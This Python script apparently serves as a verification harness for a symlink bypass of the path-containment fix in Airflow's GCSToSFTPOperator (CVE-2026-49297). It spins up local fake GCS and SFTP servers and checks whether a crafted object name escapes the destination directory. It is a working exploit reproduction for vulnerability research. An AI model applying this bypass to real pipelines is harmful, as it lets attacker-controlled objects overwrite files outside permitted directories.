#!/usr/bin/env python3
"""
Variant/bypass harness for CVE-2026-49297.

This uses the real Apache Airflow Google provider GCSToSFTPOperator, a real
fake-gcs-server JSON API endpoint, and a real Paramiko SFTP protocol server.
The tested object name does not contain '..'. Instead, it targets a symlinked
subdirectory below destination_path. The 22.2.1 lexical containment fix accepts
that path, but the SFTP server/OS resolves the symlink and writes outside the
configured destination directory.
"""
from __future__ import annotations

import argparse
import json
import os
import shutil
import socket
import subprocess
import sys
import threading
import time
import traceback
from pathlib import Path

import paramiko
from paramiko import SFTPAttributes, SFTPHandle, SFTPServerInterface, Transport
from paramiko.sftp import SFTP_OK


class PasswordServer(paramiko.ServerInterface):
    def check_auth_password(self, username, password):
        if username == "variant" and password == "variant-password":
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

    def get_allowed_auths(self, username):
        return "password"

    def check_channel_request(self, kind, chanid):
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED


class LocalSFTPHandle(SFTPHandle):
    def __init__(self, flags, fileobj):
        super().__init__(flags)
        self.readfile = fileobj
        self.writefile = fileobj

    def setstat(self, attr):
        return SFTP_OK

    def chattr(self, attr, flags):
        return SFTP_OK


class LocalSFTPServer(SFTPServerInterface):
    def __init__(self, server, *args, allowed_root, ops, **kwargs):
        super().__init__(server, *args, **kwargs)
        self.allowed_root = os.path.realpath(allowed_root)
        self.ops = ops

    def _to_local(self, path):
        if path in ("", ".", "/"):
            return self.allowed_root
        if os.path.isabs(path):
            return os.path.normpath(path)
        return os.path.normpath(os.path.join(self.allowed_root, path))

    def list_folder(self, path):
        local = self._to_local(path)
        try:
            out = []
            for name in os.listdir(local):
                st = os.lstat(os.path.join(local, name))
                attr = SFTPAttributes.from_stat(st)
                attr.filename = name
                out.append(attr)
            return out
        except FileNotFoundError:
            return paramiko.SFTP_NO_SUCH_FILE
        except OSError:
            return paramiko.SFTP_FAILURE

    def stat(self, path):
        local = self._to_local(path)
        try:
            return SFTPAttributes.from_stat(os.stat(local))
        except FileNotFoundError:
            return paramiko.SFTP_NO_SUCH_FILE
        except OSError:
            return paramiko.SFTP_FAILURE

    def lstat(self, path):
        local = self._to_local(path)
        try:
            return SFTPAttributes.from_stat(os.lstat(local))
        except FileNotFoundError:
            return paramiko.SFTP_NO_SUCH_FILE
        except OSError:
            return paramiko.SFTP_FAILURE

    def mkdir(self, path, attr):
        local = self._to_local(path)
        self.ops.append({"op": "mkdir", "remote": path, "local": local, "realpath": os.path.realpath(local)})
        try:
            os.makedirs(local, exist_ok=True)
            return SFTP_OK
        except OSError as exc:
            self.ops.append({"op": "mkdir_error", "remote": path, "error": repr(exc)})
            return paramiko.SFTP_FAILURE

    def setstat(self, path, attr):
        return SFTP_OK

    def chattr(self, path, attr, flags):
        return SFTP_OK

    def open(self, path, flags, attr):
        local = self._to_local(path)
        self.ops.append({"op": "open", "remote": path, "local": local, "realpath": os.path.realpath(local), "flags": flags})
        try:
            os.makedirs(os.path.dirname(local), exist_ok=True)
            if flags & os.O_WRONLY:
                mode = "wb"
            elif flags & os.O_RDWR:
                mode = "r+b" if os.path.exists(local) and not (flags & os.O_TRUNC) else "w+b"
            else:
                mode = "rb"
            f = open(local, mode)
            return LocalSFTPHandle(flags, f)
        except OSError as exc:
            self.ops.append({"op": "open_error", "remote": path, "error": repr(exc)})
            return paramiko.SFTP_FAILURE


class SFTPService:
    def __init__(self, allowed_root):
        self.allowed_root = os.path.realpath(allowed_root)
        self.ops = []
        self.accepted_connections = 0
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.port = self.sock.getsockname()[1]
        self.sock.listen(5)
        self.sock.settimeout(1.0)
        self._stop = threading.Event()
        self._thread = threading.Thread(target=self._serve, daemon=True)
        self._host_key = paramiko.RSAKey.generate(2048)

    def start(self):
        self._thread.start()

    def stop(self):
        self._stop.set()
        try:
            self.sock.close()
        except Exception:
            pass
        self._thread.join(timeout=5)

    def _serve(self):
        while not self._stop.is_set():
            try:
                client, addr = self.sock.accept()
                self.accepted_connections += 1
                self.ops.append({"op": "accepted_connection", "peer": repr(addr)})
            except socket.timeout:
                continue
            except OSError:
                break
            t = Transport(client)
            t.add_server_key(self._host_key)
            t.set_subsystem_handler(
                "sftp",
                paramiko.SFTPServer,
                LocalSFTPServer,
                allowed_root=self.allowed_root,
                ops=self.ops,
            )
            try:
                t.start_server(server=PasswordServer())
                deadline = time.time() + 60
                while t.is_active() and time.time() < deadline and not self._stop.is_set():
                    time.sleep(0.05)
            except Exception as exc:
                self.ops.append({"op": "server_exception", "error": repr(exc)})
            finally:
                try:
                    t.close()
                except Exception:
                    pass


def find_free_port():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("127.0.0.1", 0))
    port = s.getsockname()[1]
    s.close()
    return port


def wait_http(url, timeout=15):
    import urllib.request

    deadline = time.time() + timeout
    last = None
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(url, timeout=2) as r:
                if r.status < 500:
                    return True
        except Exception as exc:
            last = exc
        time.sleep(0.25)
    raise RuntimeError(f"HTTP service did not become ready at {url}: {last!r}")


def start_fake_gcs(binary, root, log_path):
    port = find_free_port()
    cmd = [str(binary), "-scheme", "http", "-host", "127.0.0.1", "-port", str(port), "-backend", "memory"]
    log = open(log_path, "w")
    proc = subprocess.Popen(cmd, stdout=log, stderr=subprocess.STDOUT, cwd=str(root))
    try:
        wait_http(f"http://127.0.0.1:{port}/storage/v1/b")
    except Exception:
        proc.terminate()
        proc.wait(timeout=5)
        raise
    return proc, log, port


def seed_gcs(bucket_name, object_name, content, endpoint, trace_path):
    os.environ["STORAGE_EMULATOR_HOST"] = endpoint
    from google.api_core.exceptions import Conflict
    from google.cloud import storage

    client = storage.Client(project="local-project")
    trace = []
    try:
        bucket = client.create_bucket(bucket_name)
        trace.append({"action": "create_bucket", "bucket": bucket_name, "status": "created"})
    except Conflict:
        bucket = client.bucket(bucket_name)
        trace.append({"action": "create_bucket", "bucket": bucket_name, "status": "already_exists"})
    blob = bucket.blob(object_name)
    blob.upload_from_string(content)
    trace.append({"action": "upload_blob", "bucket": bucket_name, "object": object_name, "bytes": len(content)})
    listed = [b.name for b in bucket.list_blobs(prefix="subdir/")]
    downloaded = bucket.blob(object_name).download_as_text()
    trace.append({"action": "list_blobs", "bucket": bucket_name, "prefix": "subdir/", "objects": listed})
    trace.append({"action": "download_blob", "bucket": bucket_name, "object": object_name, "content": downloaded})
    Path(trace_path).write_text(json.dumps(trace, indent=2))
    if object_name not in listed or downloaded != content:
        raise RuntimeError(f"GCS API seed verification failed: listed={listed} downloaded={downloaded!r}")
    return trace


def is_relative_to(path: Path, base: Path) -> bool:
    try:
        path.relative_to(base)
        return True
    except ValueError:
        return False


def run_operator(version, attempt, root, fake_gcs_binary, out_path):
    root = Path(root).resolve()
    if root.exists():
        shutil.rmtree(root)
    root.mkdir(parents=True)
    out_path = Path(out_path)

    bucket_name = "variant-bucket"
    escaped_file_name = f"symlink_escape_{attempt}.txt"
    # No '..' path segment: the bypass relies on SFTP/OS symlink resolution.
    object_name = f"subdir/link/{escaped_file_name}"
    source_object = "subdir/*"
    content = f"symlink-bypass-content version={version} attempt={attempt}\n"

    sftp_root = root / "sftp_root"
    inbox = sftp_root / "inbox"
    subdir = inbox / "subdir"
    outside_dir = sftp_root / "outside_target"
    subdir.mkdir(parents=True)
    outside_dir.mkdir(parents=True)
    symlink_path = subdir / "link"
    symlink_path.symlink_to(outside_dir, target_is_directory=True)
    escaped_file = outside_dir / escaped_file_name
    lexical_file = symlink_path / escaped_file_name

    airflow_home = root / "airflow_home"
    airflow_home.mkdir(parents=True)

    fake_gcs_log = root / "fake_gcs_server.log"
    gcs_trace = root / "gcs_api_trace.json"
    operator_log = root / "operator_exception.log"
    result = {
        "version": version,
        "attempt": attempt,
        "source_object_pattern": source_object,
        "attacker_controlled_gcs_object": object_name,
        "object_contains_dotdot": ".." in object_name.split("/"),
        "destination_path": str(inbox),
        "symlink_path": str(symlink_path),
        "symlink_target": str(outside_dir),
        "expected_outside_file": str(escaped_file),
        "gcs_seed_ok": False,
        "operator_succeeded": False,
        "exception_type": None,
        "exception_message": None,
        "target_reached": False,
        "escaped_file_exists": False,
        "escaped_file_content": None,
        "lexical_file_path_exists": False,
        "lexical_file_realpath": None,
        "file_inside_destination_by_realpath": None,
        "sftp_accepted_connections": 0,
        "sftp_operations": [],
    }

    gcs_proc = None
    gcs_log = None
    sftp = None
    try:
        gcs_proc, gcs_log, gcs_port = start_fake_gcs(fake_gcs_binary, root, fake_gcs_log)
        gcs_endpoint = f"http://127.0.0.1:{gcs_port}"
        seed_gcs(bucket_name, object_name, content, gcs_endpoint, gcs_trace)
        result["gcs_seed_ok"] = True
        result["gcs_endpoint"] = gcs_endpoint

        sftp = SFTPService(allowed_root=str(sftp_root))
        sftp.start()

        os.environ.update(
            {
                "AIRFLOW_HOME": str(airflow_home),
                "AIRFLOW__CORE__LOAD_EXAMPLES": "False",
                "AIRFLOW__CORE__UNIT_TEST_MODE": "True",
                "STORAGE_EMULATOR_HOST": gcs_endpoint,
                "AIRFLOW_CONN_REPRO_GCS": "google-cloud-platform://?project=local-project&is_anonymous=true",
                "AIRFLOW_CONN_REPRO_SFTP": (
                    f"sftp://variant:variant-password@127.0.0.1:{sftp.port}"
                    "?no_host_key_check=true&look_for_keys=false&allow_host_key_change=true"
                ),
            }
        )

        from airflow.providers.google.cloud.transfers.gcs_to_sftp import GCSToSFTPOperator

        op = GCSToSFTPOperator(
            task_id=f"symlink_bypass_{attempt}",
            source_bucket=bucket_name,
            source_object=source_object,
            destination_path=str(inbox),
            keep_directory_structure=True,
            create_intermediate_dirs=True,
            sftp_conn_id="repro_sftp",
            gcp_conn_id="repro_gcs",
        )
        try:
            op.execute(context={})
            result["operator_succeeded"] = True
        except Exception as exc:  # Keep testing and report negative controls in JSON.
            result["exception_type"] = type(exc).__name__
            result["exception_message"] = str(exc)
            operator_log.write_text(traceback.format_exc())

        time.sleep(0.5)
        result["target_reached"] = bool(result["gcs_seed_ok"] and sftp.accepted_connections >= 1)
        result["sftp_accepted_connections"] = sftp.accepted_connections
        result["sftp_operations"] = sftp.ops
        result["escaped_file_exists"] = escaped_file.exists()
        result["lexical_file_path_exists"] = lexical_file.exists()
        if lexical_file.exists():
            result["lexical_file_realpath"] = str(lexical_file.resolve())
            result["file_inside_destination_by_realpath"] = is_relative_to(lexical_file.resolve(), inbox.resolve())
        if escaped_file.exists():
            result["escaped_file_content"] = escaped_file.read_text(errors="replace")
    finally:
        if sftp:
            result["sftp_accepted_connections"] = sftp.accepted_connections
            result["sftp_operations"] = sftp.ops
            sftp.stop()
        if gcs_proc:
            gcs_proc.terminate()
            try:
                gcs_proc.wait(timeout=5)
            except subprocess.TimeoutExpired:
                gcs_proc.kill()
                gcs_proc.wait(timeout=5)
        if gcs_log:
            gcs_log.close()
        out_path.write_text(json.dumps(result, indent=2, sort_keys=True))

    return 0


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--version", required=True)
    parser.add_argument("--attempt", type=int, required=True)
    parser.add_argument("--root", required=True)
    parser.add_argument("--out", required=True)
    parser.add_argument("--fake-gcs-binary", required=True)
    args = parser.parse_args()
    return run_operator(args.version, args.attempt, Path(args.root), Path(args.fake_gcs_binary), Path(args.out))


if __name__ == "__main__":
    raise SystemExit(main())